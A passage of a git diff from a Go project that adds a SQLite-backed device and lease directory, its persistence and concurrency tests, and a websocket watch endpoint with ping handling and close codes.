5000, 5000}, + {"no evidence", held, 0, 1000}, + {"earlier vouch", held, 400, 1000}, + {"equal vouch", held, 1000, 1000}, + {"released stays released", Cell{Lease: Lease{Device: "d", Fence: 3}}, 5000, 0}, + } { + got := Lifted(tc.in, tc.vouched) + if got.Lease.Expires != tc.want { + t.Errorf("%s: expires %d, want %d", tc.name, got.Lease.Expires, tc.want) + } + want := tc.in + want.Lease.Expires = tc.want + if !reflect.DeepEqual(got, want) { + t.Errorf("%s: lifted changed more than the expiry: %+v", tc.name, got) + } + } +} + +// The lifted cell is what Acquire reads: a vouched lease refuses another device +// after its stored expiry, and an unvouched one does not. +func TestAcquireReadsTheLiftedLease(t *testing.T) { + c := Cell{Lease: Lease{Device: "a", Fence: 1, Expires: 1000}} + if _, err := Acquire(Lifted(c, 5000), "b", 2000, false); err != ErrLeaseHeld { + t.Fatalf("acquire over a vouched lease: %v, want lease_held", err) + } + if _, err := Acquire(Lifted(c, 0), "b", 2000, false); err != nil { + t.Fatalf("acquire over a lapsed lease: %v", err) + } +} diff --git a/internal/directory/sqlite.go b/internal/directory/sqlite.go new file mode 100644 index 0000000000..74cc158671 --- /dev/null +++ b/internal/directory/sqlite.go @@ -0,0 +1,501 @@ +package directory + +import ( + "context" + "database/sql" + "encoding/json" + "errors" + "sync" + "time" + + _ "modernc.org/sqlite" // the one SQLite driver the repo uses +) + +// schema has one table per record kind. Each row holds the record as JSON, so +// the stored shape is exactly the wire shape and additive fields need no +// migration. The identity table has at most one row: a SQLite file is one +// identity's directory. +const schema = ` +CREATE TABLE IF NOT EXISTS identity (id INTEGER PRIMARY KEY CHECK (id = 1), rec TEXT NOT NULL); +CREATE TABLE IF NOT EXISTS devices (id TEXT PRIMARY KEY, rec TEXT NOT NULL); +CREATE TABLE IF NOT EXISTS cells (id TEXT PRIMARY KEY, rec TEXT NOT NULL); +CREATE TABLE IF NOT EXISTS version (id INTEGER PRIMARY KEY CHECK (id = 1), n INTEGER NOT NULL); +` + +// SQLite is a directory kept in one SQLite file, so a relay restart keeps every +// lease, fence and absolute expiry. Like Memory it runs the pure rules; unlike +// Memory the rules run inside one write transaction, which is what makes two +// connections to the same file agree on a single winner. +type SQLite struct { + pairing + db *sql.DB + clock func() time.Time + + // feed is the Status as last committed: the revoked devices a relay turns + // away and the rotation the blob wire asks on every frame put, both without + // a query, and the version watchers hear. inTx is the only thing that + // publishes to it, after a commit, so it is never ahead of the records and + // only behind them while a write is in flight. + feed *Feed + + mu sync.RWMutex + grace GraceBounds +} + +// OpenSQLite opens (creating when absent) the directory file at path. Write +// transactions take the file lock up front (_txlock=immediate) and wait for it +// (busy_timeout), so concurrent writers queue instead of failing. +func OpenSQLite(path string, clock func() time.Time) (*SQLite, error) { + dsn := "file:" + path + "?_txlock=immediate&_pragma=busy_timeout(10000)&_pragma=journal_mode(WAL)&_pragma=synchronous(FULL)" + db, err := sql.Open("sqlite", dsn) + if err != nil { + return nil, err + } + s := &SQLite{db: db, clock: clock, feed: NewFeed(clock), grace: DefaultGraceBounds} + if err := s.init(); err != nil { + db.Close() + return nil, err + } + wireFeed(s.feed, &s.pairing, s.seen) + return s, nil +} + +// init makes the tables and their one row each, and publishes where the file +// stands. It cannot run through inTx, which reads the version row first. +func (s *SQLite) init() error { + tx, err := s.db.BeginTx(context.Background(), nil) + if err != nil { + return err + } + st, err := seed(tx) + if err != nil { + tx.Rollback() + return err + } + if err := tx.Commit(); err != nil { + return err + } + s.feed.Publish(st) + return nil +} + +// seed creates what is missing in tx and answers the Status the file holds. +func seed(tx *sql.Tx) (Status, error) { + start, _ := json.Marshal(IdentityRec{V: 1}) + for _, q := range []struct { + sql string + args []any + }{ + {schema, nil}, + {`INSERT OR IGNORE INTO identity (id, rec) VALUES (1, ?)`, []any{string(start)}}, + {`INSERT OR IGNORE INTO version (id, n) VALUES (1, 0)`, nil}, + } { + if _, err := tx.Exec(q.sql, q.args...); err != nil { + return Status{}, err + } + } + return statusIn(tx) +} + +var _ Watchable = (*SQLite)(nil) + +// Feed is how a watcher hears of changes. +func (s *SQLite) Feed() *Feed { return s.feed } + +// SetMaxWatchers changes the per-identity watcher cap. +func (s *SQLite) SetMaxWatchers(n int) { s.feed.SetMaxWatchers(n) } + +// versionIn reads the directory version inside tx. +func versionIn(tx *sql.Tx) (n uint64, err error) { + return n, tx.QueryRow(`SELECT n FROM version WHERE id = 1`).Scan(&n) +} + +// statusIn reads the whole Status inside tx. +func statusIn(tx *sql.Tx) (Status, error) { + var rec IdentityRec + devices := map[string]Device{} + n, err := versionIn(tx) + if err == nil { + err = get(tx, "identity", "1", &rec) + } + if err == nil { + err = scanAll(tx, "devices", devices) + } + return statusOf(n, rec, devices), err +} + +// SetAfter changes the timers presence runs on. +func (s *SQLite) SetAfter(after After) { s.feed.SetAfter(after) } + +// SetGraceBounds changes what a retire may ask for. +func (s *SQLite) SetGraceBounds(b GraceBounds) { + s.mu.Lock() + defer s.mu.Unlock() + s.grace = b +} + +func (s *SQLite) bounds() GraceBounds { + s.mu.RLock() + defer s.mu.RUnlock() + return s.grace +} + +// Rotated answers the identity's Rotation, nil while it is live. It never reads +// the file, so a relay may ask it on every request. +func (s *SQLite) Rotated() *Rotation { return s.feed.Status().Rotation } + +// Revoked says whether device has been stopped. It never reads the file, so a +// relay may ask it on every request. +func (s *SQLite) Revoked(device string) bool { return s.feed.Status().Stopped[device] } + +// Close ends every watch and releases the file. +func (s *SQLite) Close() error { + s.feed.Close() + return s.db.Close() +} + +// For returns the Client that device would hold. +func (s *SQLite) For(device string) Client { + return &sqliteClient{pairing: &s.pairing, s: s, device: device} +} + +type sqliteClient struct { + *pairing + s *SQLite + device string +} + +func (s *SQLite) now() int64 { return s.clock().UnixMilli() } + +// tx is inTx for the calling device: inside the same transaction that would +// write, it first refuses a revoked device, so no verb can be the one that +// forgets to. The record is read from the file, not from the revoked set, so +// two connections to one file agree. +func (c *sqliteClient) tx(ctx context.Context, fn func(*sql.Tx) error) error { + return c.s.inTx(ctx, func(tx *sql.Tx) error { + var me Device + if err := get(tx, "devices", c.device, &me); err != nil && !errors.Is(err, ErrNotFound) { + return err + } + if me.Revoked { + return ErrRevoked + } + return fn(tx) + }) +} + +// txw is tx for a verb that changes a record: inside the same transaction it +// refuses a replaced identity, so no verb can be the one that forgets to. +func (c *sqliteClient) txw(ctx context.Context, fn func(*sql.Tx) error) error { + return c.tx(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + if err := refusesWrites(rec); err != nil { + return err + } + return fn(tx) + }) +} + +// inTx runs fn in one write transaction and commits only if fn succeeds, so a +// refused rule or a crash leaves the old records untouched. It is also the one +// place a change is announced: put moves the version inside the transaction, and +// when the version moved, the Status read before the commit is published after +// it. Every verb runs here, so no verb can change a record and forget to tell +// the watchers. +func (s *SQLite) inTx(ctx context.Context, fn func(*sql.Tx) error) error { + tx, err := s.db.BeginTx(ctx, nil) + if err != nil { + return err + } + st, err := s.run(tx, fn) + if err != nil { + tx.Rollback() + return err + } + if err := tx.Commit(); err != nil { + return err + } + if st != nil { + s.feed.Publish(*st) + } + return nil +} + +// run is fn inside tx, answering the Status to publish when fn changed the +// version and nil when it did not. +func (s *SQLite) run(tx *sql.Tx, fn func(*sql.Tx) error) (*Status, error) { + before, err := versionIn(tx) + if err != nil { + return nil, err + } + if err := fn(tx); err != nil { + return nil, err + } + if after, err := versionIn(tx); err != nil || after == before { + return nil, err + } + st, err := statusIn(tx) + return &st, err +} + +// get decodes the record stored under (table, id) into v; ErrNotFound if absent. +func get(tx *sql.Tx, table, id string, v any) error { + var rec string + err := tx.QueryRow(`SELECT rec FROM `+table+` WHERE id = ?`, id).Scan(&rec) + if errors.Is(err, sql.ErrNoRows) { + return ErrNotFound + } + if err != nil { + return err + } + return json.Unmarshal([]byte(rec), v) +} + +// put stores v under (table, id), replacing any earlier record, and moves the +// directory version by one when the record is new or differs from the stored +// one in a way a person could see at time now. +func put[T any](tx *sql.Tx, feed *Feed, table, id string, v T, now int64) error { + changed, err := visiblyChanges(tx, feed, table, id, v, now) + if err == nil && changed { + err = bump(tx) + } + if err != nil { + return err + } + rec, err := json.Marshal(v) + if err != nil { + return err + } + _, err = tx.Exec(`INSERT INTO `+table+` (id, rec) VALUES (?, ?) ON CONFLICT(id) DO UPDATE SET rec = excluded.rec`, id, string(rec)) + return err +} + +// visiblyChanges says whether storing v under (table, id) would show a person +// something new: the record is absent, or differs from the stored one. +func visiblyChanges[T any](tx *sql.Tx, feed *Feed, table, id string, v T, now int64) (bool, error) { + var old T + err := get(tx, table, id, &old) + if errors.Is(err, ErrNotFound) { + return true, nil + } + return err == nil && feed.differs(id, old, v, now), err +} + +func bump(tx *sql.Tx) error { + _, err := tx.Exec(`UPDATE version SET n = n + 1 WHERE id = 1`) + return err +} + +// change reads cell id, applies fn at the directory time and stores the result. +func (c *sqliteClient) change(ctx context.Context, id string, fn func(Cell, int64) (Cell, error)) (v CellView, err error) { + err = c.txw(ctx, func(tx *sql.Tx) error { + var cell Cell + if err := get(tx, "cells", id, &cell); err != nil { + return err + } + now := c.s.now() + next, err := fn(cell, now) + if err != nil { + return err + } + v = CellView{Now: now, Cell: next} + return put(tx, c.s.feed, "cells", id, next, now) + }) + return v, err +} + +func (c *sqliteClient) List(ctx context.Context) (l Listing, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + l = Listing{Now: c.s.now(), Devices: map[string]Device{}, Cells: map[string]Cell{}} + var err error + if l.Version, err = versionIn(tx); err != nil { + return err + } + if err := get(tx, "identity", "1", &l.Identity); err != nil { + return err + } + if err := scanAll(tx, "devices", l.Devices); err != nil { + return err + } + if err := scanAll(tx, "cells", l.Cells); err != nil { + return err + } + for id, cell := range l.Cells { + l.Cells[id] = c.s.feed.Lifted(id, cell) + } + l = withoutFrames(l) + return nil + }) + return l, err +} + +// scanAll fills out with every record in table, keyed by id. +func scanAll[T any](tx *sql.Tx, table string, out map[string]T) error { + rows, err := tx.Query(`SELECT id, rec FROM ` + table) + if err != nil { + return err + } + defer rows.Close() + for rows.Next() { + var id, rec string + var v T + if err := rows.Scan(&id, &rec); err != nil { + return err + } + if err := json.Unmarshal([]byte(rec), &v); err != nil { + return err + } + out[id] = v + } + return rows.Err() +} + +func (c *sqliteClient) Cell(ctx context.Context, id string) (v CellView, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + v.Now = c.s.now() + if err := get(tx, "cells", id, &v.Cell); err != nil { + return err + } + v.Cell = c.s.feed.Lifted(id, v.Cell) + return nil + }) + return v, err +} + +func (c *sqliteClient) Rotate(ctx context.Context, req RotationReq) (v RotationView, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + now := c.s.now() + if rec, err = RotateBy(rec, c.device, req, now, c.s.bounds()); err != nil { + return err + } + v = viewOf(rec, now, c.s.bounds()) + return put(tx, c.s.feed, "identity", "1", rec, now) + }) + return v, err +} + +func (c *sqliteClient) Rotation(ctx context.Context) (v RotationView, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + v = viewOf(rec, c.s.now(), c.s.bounds()) + return nil + }) + return v, err +} + +// PutDevice keeps the stored Revoked flag whatever the record says, so the +// only way to stop a device is Revoke and a device cannot clear its own stop. +func (c *sqliteClient) PutDevice(ctx context.Context, id string, d Device) error { + return c.txw(ctx, func(tx *sql.Tx) error { + _, err := c.s.store(tx, id, d) + return err + }) +} + +// store writes a device record as the directory keeps it and answers it. +func (s *SQLite) store(tx *sql.Tx, id string, d Device) (Device, error) { + var old Device + err := get(tx, "devices", id, &old) + if err != nil && !errors.Is(err, ErrNotFound) { + return d, err + } + now := s.now() + d = Stamped(old, err == nil, d, now) + return d, put(tx, s.feed, "devices", id, d, now) +} + +func (c *sqliteClient) ApproveRequest(ctx context.Context, code string, a Approval) error { + return c.approve(code, a, func(r Request) (d Device, err error) { + err = c.txw(ctx, func(tx *sql.Tx) (err error) { + d, err = c.s.store(tx, r.Device, a.Device) + return err + }) + return d, err + }) +} + +func (c *sqliteClient) DenyRequest(ctx context.Context, code string) error { + return c.deny(code, func() error { return c.txw(ctx, func(*sql.Tx) error { return nil }) }) +} + +func (c *sqliteClient) Revoke(ctx context.Context, id string) error { + return c.txw(ctx, func(tx *sql.Tx) error { + var d Device + if err := get(tx, "devices", id, &d); err != nil { + return err + } + d, err := RevokeOf(d, c.device, id) + if err != nil { + return err + } + return put(tx, c.s.feed, "devices", id, d, c.s.now()) + }) +} + +func (c *sqliteClient) SetVault(ctx context.Context, old, next string) error { + return c.txw(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + if rec.Vault != old { + return ErrCAS + } + rec.Vault = next + return put(tx, c.s.feed, "identity", "1", rec, c.s.now()) + }) +} + +func (c *sqliteClient) Create(ctx context.Context, id string, in CellInit) (v CellView, err error) { + err = c.txw(ctx, func(tx *sql.Tx) error { + var taken Cell + switch err := get(tx, "cells", id, &taken); { + case err == nil: + return ErrExists + case !errors.Is(err, ErrNotFound): + return err + } + now := c.s.now() + cell := Created(in, c.device, now) + v = CellView{Now: now, Cell: cell} + return put(tx, c.s.feed, "cells", id, cell, now) + }) + return v, err +} + +func (c *sqliteClient) Acquire(ctx context.Context, id string, o AcquireOpts) (CellView, error) { + return c.change(ctx, id, func(cell Cell, now int64) (Cell, error) { + return Acquire(c.s.feed.Lifted(id, cell), c.device, now, o.Force, o.Expect) + }) +} + +func (c *sqliteClient) Heartbeat(ctx context.Context, id string, b Beat) (CellView, error) { + return c.change(ctx, id, func(cell Cell, now int64) (Cell, error) { return Heartbeat(cell, c.device, b, now) }) +} + +func (c *sqliteClient) Publish(ctx context.Context, id string, p Publish) (CellView, error) { + return c.change(ctx, id, func(cell Cell, now int64) (Cell, error) { return PublishTo(cell, c.device, p, now) }) +} + +func (c *sqliteClient) Release(ctx context.Context, id string, fence uint64) error { + _, err := c.change(ctx, id, func(cell Cell, _ int64) (Cell, error) { return ReleaseOf(cell, c.device, fence) }) + return err +} + +func (c *sqliteClient) Archive(ctx context.Context, id string) error { + _, err := c.change(ctx, id, func(cell Cell, _ int64) (Cell, error) { + cell.Archived = true + return cell, nil + }) + return err +} diff --git a/internal/directory/sqlite_test.go b/internal/directory/sqlite_test.go new file mode 100644 index 0000000000..0924890a33 --- /dev/null +++ b/internal/directory/sqlite_test.go @@ -0,0 +1,211 @@ +package directory_test + +import ( + "context" + "database/sql" + "errors" + "io" + "path/filepath" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + tCell = "01J0000000000000000000000B" + tA = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + tB = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + tHead = "1111111111111111111111111111111111111111111111111111111111111111" +) + +var bg = context.Background() + +func openAt(t *testing.T, path string, clock *directorytest.FakeClock) *directory.SQLite { + t.Helper() + d, err := directory.OpenSQLite(path, clock.Now) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { d.Close() }) + return d +} + +func TestSQLiteConformance(t *testing.T) { + directorytest.Run(t, func(t *testing.T, clock *directorytest.FakeClock) directorytest.Devices { + return openAt(t, filepath.Join(t.TempDir(), "dir.db"), clock).For + }) +} + +// A relay restart keeps the lease: the holder's heartbeat with the same fence +// succeeds, and once the lease has expired another device may take it. +func TestSQLiteLeaseSurvivesReopen(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + first := openAt(t, path, clock) + if _, err := first.For(tA).Create(bg, tCell, directory.CellInit{Head: tHead, Class: "chat"}); err != nil { + t.Fatal(err) + } + first.Close() + + second := openAt(t, path, clock) + if _, err := second.For(tB).Acquire(bg, tCell, directory.AcquireOpts{}); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("live lease lost across reopen: %v", err) + } + v, err := second.For(tA).Heartbeat(bg, tCell, directory.Beat{Fence: 1}) + if err != nil || v.Cell.Lease.Fence != 1 { + t.Fatalf("heartbeat after reopen: %v %+v", err, v) + } + clock.Advance(directory.LeaseTTL + time.Second) + if v, err = second.For(tB).Acquire(bg, tCell, directory.AcquireOpts{}); err != nil || v.Cell.Lease.Fence != 2 { + t.Fatalf("expired lease not takeable: %v %+v", err, v) + } +} + +// Two connections to one file model two relay processes: exactly one acquire +// wins and the rest see the lease held. +func TestSQLiteConcurrentAcquireTwoConnections(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + one, two := openAt(t, path, clock), openAt(t, path, clock) + if _, err := one.For(tA).Create(bg, tCell, directory.CellInit{Head: tHead, Class: "chat"}); err != nil { + t.Fatal(err) + } + clock.Advance(directory.LeaseTTL + time.Second) + + var wins, held int + var mu sync.Mutex + var wg sync.WaitGroup + for i := 0; i < 40; i++ { + d, dev := one, tA + if i%2 == 1 { + d, dev = two, tB + } + wg.Add(1) + go func() { + defer wg.Done() + _, err := d.For(dev).Acquire(bg, tCell, directory.AcquireOpts{}) + mu.Lock() + defer mu.Unlock() + switch { + case err == nil: + wins++ + case errors.Is(err, directory.ErrLeaseHeld): + held++ + default: + t.Errorf("unexpected: %v", err) + } + }() + } + wg.Wait() + // The same device may re-take its own live lease, so wins are per device: the + // losing device must never have won once the other held. + v, _ := one.For(tA).Cell(bg, tCell) + if wins == 0 || wins+held != 40 { + t.Fatalf("wins=%d held=%d", wins, held) + } + other := tB + if v.Cell.Lease.Device == tB { + other = tA + } + if _, err := one.For(other).Acquire(bg, tCell, directory.AcquireOpts{}); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("loser can acquire: %v", err) + } +} + +// A transaction that dies before commit leaves the old record in place. +func TestSQLiteCrashMidTransactionKeepsOldRecord(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + d := openAt(t, path, clock) + if _, err := d.For(tA).Create(bg, tCell, directory.CellInit{Head: tHead, Class: "chat"}); err != nil { + t.Fatal(err) + } + d.Close() + + raw, err := sql.Open("sqlite", "file:"+path) + if err != nil { + t.Fatal(err) + } + defer raw.Close() + conn, err := raw.Conn(bg) + if err != nil { + t.Fatal(err) + } + for _, q := range []string{`BEGIN IMMEDIATE`, `UPDATE cells SET rec = '{"corrupt":true}'`} { + if _, err := conn.ExecContext(bg, q); err != nil { + t.Fatal(err) + } + } + // Closing the driver connection with the transaction open is what a dying + // process does: nothing was committed. + if err := conn.Raw(func(dc any) error { return dc.(io.Closer).Close() }); err != nil { + t.Fatal(err) + } + + v, err := openAt(t, path, clock).For(tA).Cell(bg, tCell) + if err != nil || v.Cell.Head != tHead || v.Cell.Lease.Fence != 1 { + t.Fatalf("old record lost: %v %+v", err, v) + } +} + +// Devices and the vault pointer survive a reopen too. +func TestSQLiteDevicesAndVaultSurviveReopen(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + d := openAt(t, path, clock) + must := func(err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } + } + must(d.For(tA).PutDevice(bg, tA, directory.Device{V: 1, Name: "n"})) + must(d.For(tA).SetVault(bg, "", "rid1")) + d.Close() + + l, err := openAt(t, path, clock).For(tA).List(bg) + must(err) + if l.Identity.Vault != "rid1" || l.Devices[tA].Name != "n" { + t.Fatalf("lost on reopen: %+v", l) + } +} + +// A revoke is on disk: a reopened directory still turns the device away, both +// from the relay's memory set and from the verbs themselves. +func TestSQLiteRevokeSurvivesReopen(t *testing.T) { + path, clock := filepath.Join(t.TempDir(), "dir.db"), directorytest.NewFakeClock() + d := openAt(t, path, clock) + for _, id := range []string{tA, tB} { + if err := d.For(id).PutDevice(bg, id, directory.Device{V: 1}); err != nil { + t.Fatal(err) + } + } + if err := d.For(tA).Revoke(bg, tB); err != nil { + t.Fatal(err) + } + if !d.Revoked(tB) || d.Revoked(tA) { + t.Fatalf("revoked set: B %v, A %v", d.Revoked(tB), d.Revoked(tA)) + } + d.Close() + + again := openAt(t, path, clock) + if !again.Revoked(tB) || again.Revoked(tA) { + t.Fatalf("after reopen: B %v, A %v", again.Revoked(tB), again.Revoked(tA)) + } + if _, err := again.For(tB).List(bg); !errors.Is(err, directory.ErrRevoked) { + t.Fatalf("revoked device listed after reopen: %v", err) + } +} + +// Revoked is set by Revoke alone: a record that says so, put by the device +// itself, neither stops a live device nor lets a stopped one come back. +func TestPutDeviceNeverChangesRevoked(t *testing.T) { + d := openAt(t, filepath.Join(t.TempDir(), "dir.db"), directorytest.NewFakeClock()) + a := d.For(tA) + if err := a.PutDevice(bg, tA, directory.Device{V: 1, Revoked: true}); err != nil { + t.Fatal(err) + } + l, err := a.List(bg) + if err != nil || l.Devices[tA].Revoked { + t.Fatalf("a device stopped itself by writing its record: %+v, %v", l.Devices, err) + } +} diff --git a/internal/directory/watch.go b/internal/directory/watch.go new file mode 100644 index 0000000000..92f03a794c --- /dev/null +++ b/internal/directory/watch.go @@ -0,0 +1,218 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "strings" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// The close codes a watcher reads. Any other code means reconnect with backoff. +const ( + CloseRevoked websocket.StatusCode = 4401 // this device was stopped; never reconnect + CloseRotated websocket.StatusCode = 4410 // the identity was replaced; poll only + // CloseSilent says the relay stopped hearing this socket's pings: redial now. + CloseSilent websocket.StatusCode = 4408 +) + +const ( + // watchWrite bounds one frame to a peer, so a stalled one cannot hold a + // watcher forever. + watchWrite = 10 * time.Second + // watchRead is the largest client frame; the only one with a meaning is "ping". + watchRead = 1 << 10 +) + +// watch answers GET /v1/dir/watch: it authenticates like every route, refuses +// what cannot be watched before the upgrade, and then tells the socket the +// directory's version now and each time it changes. The socket carries versions +// only: what changed is read by the list the device already knows how to read. +func (h *handler) watch(w http.ResponseWriter, r *http.Request) { + c, err := h.admit(w, r) + if err != nil { + refuse(w, err) + return + } + sub, err := subscribe(c) + if err != nil { + refuse(w, err) + return + } + defer sub.Close() + // Accept keeps the headers set on w, so this one rides the 101 answer. + w.Header().Set(VouchHeader, "1") + w.Header().Set(PresenceHeader, "1") + conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{CompressionMode: websocket.CompressionDisabled}) + if err != nil { + return + } + conn.SetReadLimit(watchRead) + serveWatch(r.Context(), conn, sub, c.device, wantsEvents(r)) +} + +// wantsEvents is whether the socket opted in to event frames (EventsQuery). +func wantsEvents(r *http.Request) bool { return r.URL.Query().Get("events") == "1" } + +// VouchHeader on the 101 answer says this relay counts a watch socket that +// names a hold as proof its holder is alive (contract 21.11.1). A client that +// does not see it keeps beating. +const VouchHeader = "Codeaf-Vouch" + +// PresenceHeader on the 101 answer says this relay counts a socket online only +// while its pings keep coming (contract 21.12.3). +const PresenceHeader = "Codeaf-Presence" + +// subscribe applies every refusal that precedes the upgrade and takes a place +// under the identity's cap. An identity that is replaced can only ever be +// thawed, and a thaw is found by the client's slow backstop poll. +func subscribe(c call) (*Sub, error) { + if !isUpgrade(c.r) { + return nil, errUpgradeRequired + } + feed, ok := c.dir.(Watchable) + if !ok { + return nil, ErrNotFound + } + st := feed.Feed().Status() + switch { + case st.Stopped[c.device]: + return nil, ErrRevoked + case st.Rotation != nil: + return nil, ErrRotated + } + holds, err := ParseHolds(c.r.URL.Query()["hold"]) + if err != nil { + return nil, err + } + beat, err := ParseBeat(c.r.URL.Query()["beat"]) + if err != nil { + return nil, err + } + return feed.Feed().SubscribeBeat(c.device, holds, beat) +} + +func isUpgrade(r *http.Request) bool { + return strings.EqualFold(r.Header.Get("Upgrade"), "websocket") +} + +// serveWatch runs one socket until it or the directory ends. The reader answers +// "ping" with "pong" and ignores every other frame, so its error is what ends +// the socket when the peer goes. +func serveWatch(ctx context.Context, conn *websocket.Conn, sub *Sub, device string, events bool) { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + go func() { + defer cancel() + answerPings(ctx, conn, sub) + }() + // The version is the first frame; an event socket then hears who is online. + first := func() {} + if events { + first = func() { + events := sub.Events() + go sendEvents(ctx, cancel, conn, events) + } + } + conn.Close(tell(ctx, conn, sub, device, first)) +} + +// sendEvents writes each event frame of an event socket until it ends. A write +// that fails ends the socket, like a failed version write. +func sendEvents(ctx context.Context, end context.CancelFunc, conn *websocket.Conn, events <-chan dirwatch.Event) { + for { + select { + case e := <-events: + if err := sendEvent(ctx, conn, e); err != nil { + end() + return + } + case <-ctx.Done(): + return + } + } +} + +func sendEvent(ctx context.Context, conn *websocket.Conn, e dirwatch.Event) error { + b, err := json.Marshal(e) + if err != nil { + return err + } + return sendText(ctx, conn, string(b)) +} + +// tell sends each version the watcher has not heard, then closes the socket +// with the code that explains a stop, so a device always hears the bump first. +// first runs once, after the first version is written. +func tell(ctx context.Context, conn *websocket.Conn, sub *Sub, device string, first func()) (websocket.StatusCode, string) { + for { + st, err := sub.Next(ctx) + if errors.Is(err, errSilent) { + return CloseSilent, "silent" + } + if err != nil { + return closing(ctx) + } + if err := sendVersion(ctx, conn, st.Version); err != nil { + return websocket.StatusInternalError, "write failed" + } + first() + first = func() {} + if code, why := stopAfter(st, device); code != 0 { + return code, why + } + } +} + +// closing is the close for a socket whose wait ended: going away when the +// relay closed its directory, and a plain end when the peer hung up. +func closing(ctx context.Context) (websocket.StatusCode, string) { + if ctx.Err() != nil { + return websocket.StatusNormalClosure, "" + } + return websocket.StatusGoingAway, "closing" +} + +// stopAfter is the close a Status calls for, or zero when the socket may stay. +func stopAfter(st Status, device string) (websocket.StatusCode, string) { + switch { + case st.Stopped[device]: + return CloseRevoked, "revoked" + case st.Rotation != nil: + return CloseRotated, "rotated" + } + return 0, "" +} + +func sendVersion(ctx context.Context, conn *websocket.Conn, v uint64) error { + return sendText(ctx, conn, fmt.Sprintf(`{"v":%d}`, v)) +} + +// answerPings answers each ping, stamping the socket's sign of life first so a +// peer that has heard the pong can rely on it. +func answerPings(ctx context.Context, conn *websocket.Conn, sub *Sub) { + for { + kind, msg, err := conn.Read(ctx) + if err != nil { + return + } + if kind == websocket.MessageText && string(msg) == "ping" { + sub.Ping() + if sendText(ctx, conn, "pong") != nil { + return + } + } + } +} + +func sendText(ctx context.Context, conn *websocket.Conn, s string) error { + ctx, cancel := context.WithTimeout(ctx, watchWrite) + defer cancel() + return conn.Write(ctx, websocket.MessageText, []byte(s)) +} diff --git a/internal/directory/watch_test.go b/internal/directory/watch_test.go new file mode 100644 index 0000000000..62e7e192b9 --- /dev/null +++ b/internal/directory/watch_test.go @@ -0,0 +1,39 @@ +package directory_test + +import ( + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// feedless hides everything a Directory offers beyond the base interface, so +// it stands for a relay built before the watch feed existed. +type feedless struct{ directory.Directory } + +// A relay without the feed has no watch route at all, and says so the way any +// unknown route does, which is how a client learns to keep polling. +func TestWatchOldRelayIs404(t *testing.T) { + open := func(string) (directory.Directory, error) { + return feedless{directory.NewMemory(time.Now)}, nil + } + srv := httptest.NewServer(directory.Handler(fakeAuth, open)) + t.Cleanup(srv.Close) + req, err := http.NewRequest(http.MethodGet, srv.URL+directory.WatchPath, nil) + if err != nil { + t.Fatal(err) + } + fakeSign("id_one", devA)(req, nil) + req.Header.Set("Connection", "Upgrade") + req.Header.Set("Upgrade", "websocket") + resp, err := srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusNotFound { + t.Fatalf("watch on a relay without the feed answered %d, want 404", resp.StatusCode) + } +} diff --git a/internal/directory/watchclient.go b/internal/directory/watchclient.go new file mode 100644 index 0000000000..eaf1f280ac --- /dev/null +++ b/internal/directory/watchclient.go @@ -0,0 +1,189 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "net/url" + "strconv" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/dirwatch" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// Watcher is a Client that can open the relay's watch socket. +type Watcher interface { + Watch(ctx context.Context) (dirwatch.Stream, error) +} + +// HoldWatcher is a Watcher whose socket can name the leases its holder holds, +// so the relay can count the socket as proof that the holder is alive. +type HoldWatcher interface { + Watcher + WatchHolding(ctx context.Context, holds []Hold) (dirwatch.Stream, error) +} + +var ( + _ Watcher = (*HTTP)(nil) + _ HoldWatcher = (*HTTP)(nil) +) + +// vouchHeader is how a relay says, in the upgrade answer, that it counts a +// socket as proof of life for the leases the socket names. A relay that does +// not send it is an old one that ignores the names. +const vouchHeader = "Codeaf-Vouch" + +// BeatSeconds is the period, in seconds, at which a watch socket pings, and +// the value every dial declares as `beat`. The relay derives the window in +// which it counts the device online from it. It is derived from the feed's own +// ping period rather than restated, so the declaration and the pings cannot +// drift (the feed's package cannot import this one, so the number lives there). +const BeatSeconds = int(dirwatch.KeepEvery / time.Second) + +// closeSilent is the close code of a relay that stopped hearing the socket. +const closeSilent websocket.StatusCode = dirwatch.CloseSilent + +// watchLimit is the most a frame may weigh. The frames are a few bytes, so a +// larger one is a fault and is refused before it is buffered. +const watchLimit = 1 << 10 + +// Watch opens the signed watch socket of a screen: it names no holds, so it +// vouches for nothing, and it asks for events (EventsQuery), so its Stream +// also carries who is online and who joined. The upgrade request is signed like any other directory +// request, with an empty body. +func (h *HTTP) Watch(ctx context.Context) (dirwatch.Stream, error) { + return 